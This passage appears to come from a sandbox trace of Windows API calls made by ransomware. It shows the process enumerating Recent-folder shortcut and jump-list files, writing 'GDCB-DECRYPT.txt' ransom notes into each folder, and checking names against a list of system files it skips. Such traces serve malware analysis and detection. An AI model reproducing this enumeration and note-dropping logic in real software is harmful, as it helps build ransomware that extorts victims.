(lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\T0U3EmSD.lnk") returned 75 [0135.735] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.735] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\T21W3FSXJ7JpSCXp.lnk") returned 83 [0135.735] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.735] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\TCfZ31T4.lnk") returned 75 [0135.735] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.735] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tgUnQFz.flv.lnk") returned 78 [0135.735] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.735] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tIZlz3oLFvDkmXZ.lnk") returned 82 [0135.735] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.735] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tlE6ao_mfe1zAPU.lnk") returned 82 [0135.735] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.735] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\TrUGiHFGXsM_7X.lnk") returned 81 [0135.735] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.737] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\GDCB-DECRYPT.txt") returned 80 [0135.737] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\windows\\recent\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.739] GetLastError () returned 0x50 [0135.740] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-5DB1ff.lnk") returned 74 [0135.741] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-5DB1ff.lnk") returned 74 [0135.741] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-XKS.lnk") returned 71 [0135.741] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-XKS.lnk") returned 71 [0135.741] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-__krKwuDNCw7vix_s.lnk") returned 85 [0135.741] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-__krKwuDNCw7vix_s.lnk") returned 85 [0135.741] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\004-sn-0z5C.lnk") returned 78 [0135.741] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\004-sn-0z5C.lnk") returned 78 [0135.741] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0EsxwfGpf (2).lnk") returned 80 [0135.741] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0EsxwfGpf (2).lnk") returned 80 [0135.742] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0EsxwfGpf.lnk") returned 76 [0135.742] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0EsxwfGpf.lnk") returned 76 [0135.742] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0fbVcV3Zv5.lnk") returned 77 [0135.742] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0fbVcV3Zv5.lnk") returned 77 [0135.742] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0qcuk3G0.lnk") returned 75 [0135.742] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0qcuk3G0.lnk") returned 75 [0135.742] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0RdiLe2R39_-D0kBjV.lnk") returned 85 [0135.742] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0RdiLe2R39_-D0kBjV.lnk") returned 85 [0135.742] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1 VB53.lnk") returned 73 [0135.742] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1 VB53.lnk") returned 73 [0135.742] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1C35.lnk") returned 71 [0135.742] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1C35.lnk") returned 71 [0135.742] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1K3-TZCPmibHkU6FTw.lnk") returned 85 [0135.742] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1K3-TZCPmibHkU6FTw.lnk") returned 85 [0135.742] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1rMkargVi.lnk") returned 76 [0135.742] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1rMkargVi.lnk") returned 76 [0135.742] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1WmQLmoja01-EP.lnk") returned 81 [0135.742] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1WmQLmoja01-EP.lnk") returned 81 [0135.742] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\210AtVavnZ- J.lnk") returned 80 [0135.742] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\210AtVavnZ- J.lnk") returned 80 [0135.742] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\22j3l8d5gwBlYb.lnk") returned 81 [0135.742] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\22j3l8d5gwBlYb.lnk") returned 81 [0135.742] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2eXJAztyYmvvQ.lnk") returned 80 [0135.743] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2eXJAztyYmvvQ.lnk") returned 80 [0135.743] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2OkDu2NHm-7zk1T.lnk") returned 82 [0135.743] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2OkDu2NHm-7zk1T.lnk") returned 82 [0135.743] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4a e.lnk") returned 71 [0135.743] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4a e.lnk") returned 71 [0135.743] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4nC7.lnk") returned 71 [0135.743] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4nC7.lnk") returned 71 [0135.743] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4o-7px (2).lnk") returned 77 [0135.743] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4o-7px (2).lnk") returned 77 [0135.743] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4o-7px.lnk") returned 73 [0135.743] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4o-7px.lnk") returned 73 [0135.743] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4wEn.lnk") returned 71 [0135.743] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4wEn.lnk") returned 71 [0135.743] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5j6qWl.lnk") returned 73 [0135.743] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5j6qWl.lnk") returned 73 [0135.743] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5NChLZgIqlXt.lnk") returned 79 [0135.743] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5NChLZgIqlXt.lnk") returned 79 [0135.743] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\68I4YY.lnk") returned 73 [0135.743] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\68I4YY.lnk") returned 73 [0135.743] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6ttfnwVzD3wR1.lnk") returned 80 [0135.743] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6ttfnwVzD3wR1.lnk") returned 80 [0135.743] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6z- of0Ate9fxiX14.lnk") returned 84 [0135.744] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6z- of0Ate9fxiX14.lnk") returned 84 [0135.744] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7OmvA6Oj54HnGnXR.lnk") returned 83 [0135.744] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7OmvA6Oj54HnGnXR.lnk") returned 83 [0135.744] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8BQk0ewUYfCpH5.lnk") returned 81 [0135.744] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8BQk0ewUYfCpH5.lnk") returned 81 [0135.744] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8Frf.flv.lnk") returned 75 [0135.744] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8Frf.flv.lnk") returned 75 [0135.744] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8UW6wrCE2.lnk") returned 76 [0135.744] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8UW6wrCE2.lnk") returned 76 [0135.744] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aFOzj3YZTHvF.lnk") returned 79 [0135.744] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aFOzj3YZTHvF.lnk") returned 79 [0135.744] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ArQS.lnk") returned 71 [0135.744] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ArQS.lnk") returned 71 [0135.744] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AThZQX4 Xqy.lnk") returned 79 [0135.744] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AThZQX4 Xqy.lnk") returned 79 [0135.744] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.744] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.744] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.744] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.746] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\\\GDCB-DECRYPT.txt") returned 102 [0135.746] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.748] GetLastError () returned 0x50 [0135.749] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1bc9bbbe61f14501.automaticDestinations-ms") returned 126 [0135.749] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1bc9bbbe61f14501.automaticDestinations-ms") returned 126 [0135.749] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\5f7b5f1e01b83767.automaticDestinations-ms") returned 126 [0135.749] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\5f7b5f1e01b83767.automaticDestinations-ms") returned 126 [0135.749] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\61ebb1e65cfcb8da.automaticDestinations-ms") returned 126 [0135.749] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\61ebb1e65cfcb8da.automaticDestinations-ms") returned 126 [0135.749] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\6d2bac8f1edf6668.automaticDestinations-ms") returned 126 [0135.749] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\6d2bac8f1edf6668.automaticDestinations-ms") returned 126 [0135.749] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\7e4dca80246863e3.automaticDestinations-ms") returned 126 [0135.749] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\7e4dca80246863e3.automaticDestinations-ms") returned 126 [0135.749] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\969252ce11249fdd.automaticDestinations-ms") returned 126 [0135.749] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\969252ce11249fdd.automaticDestinations-ms") returned 126 [0135.749] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\9cfafb05ce914942.automaticDestinations-ms") returned 126 [0135.749] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\9cfafb05ce914942.automaticDestinations-ms") returned 126 [0135.749] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\b8ab77100df80ab2.automaticDestinations-ms") returned 126 [0135.749] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\b8ab77100df80ab2.automaticDestinations-ms") returned 126 [0135.749] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\d00655d2aa12ff6d.automaticDestinations-ms") returned 126 [0135.749] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\d00655d2aa12ff6d.automaticDestinations-ms") returned 126 [0135.749] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\eb282ead62b4db87.automaticDestinations-ms") returned 126 [0135.750] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\eb282ead62b4db87.automaticDestinations-ms") returned 126 [0135.750] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\f01b4d95cf55d32a.automaticDestinations-ms") returned 126 [0135.750] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\f01b4d95cf55d32a.automaticDestinations-ms") returned 126 [0135.750] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\fb3b0dbfee58fac8.automaticDestinations-ms") returned 126 [0135.750] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\fb3b0dbfee58fac8.automaticDestinations-ms") returned 126 [0135.750] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\GDCB-DECRYPT.txt") returned 101 [0135.750] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\GDCB-DECRYPT.txt") returned 101 [0135.750] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\GDCB-DECRYPT.txt") returned 101 [0135.750] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\GDCB-DECRYPT.txt") returned 101 [0135.750] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.750] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.750] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.750] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.750] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.750] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.750] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.750] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.750] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.750] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aWlcbVjj2 N5W7gRzUu.lnk") returned 86 [0135.750] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aWlcbVjj2 N5W7gRzUu.lnk") returned 86 [0135.750] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bemI0XiX.lnk") returned 75 [0135.751] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bemI0XiX.lnk") returned 75 [0135.751] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\brfsFSSqM P0x3ZmWLa7.lnk") returned 87 [0135.751] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\brfsFSSqM P0x3ZmWLa7.lnk") returned 87 [0135.751] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CH63OfWwkwX.lnk") returned 78 [0135.751] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CH63OfWwkwX.lnk") returned 78 [0135.751] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CHQmRNcGe_.lnk") returned 77 [0135.751] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CHQmRNcGe_.lnk") returned 77 [0135.751] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.751] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.751] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.751] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.753] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\\\GDCB-DECRYPT.txt") returned 99 [0135.753] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.754] GetLastError () returned 0x50 [0135.755] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\28c8b86deab549a1.customDestinations-ms") returned 120 [0135.755] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\28c8b86deab549a1.customDestinations-ms") returned 120 [0135.755] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms") returned 120 [0135.755] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms") returned 120 [0135.755] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: 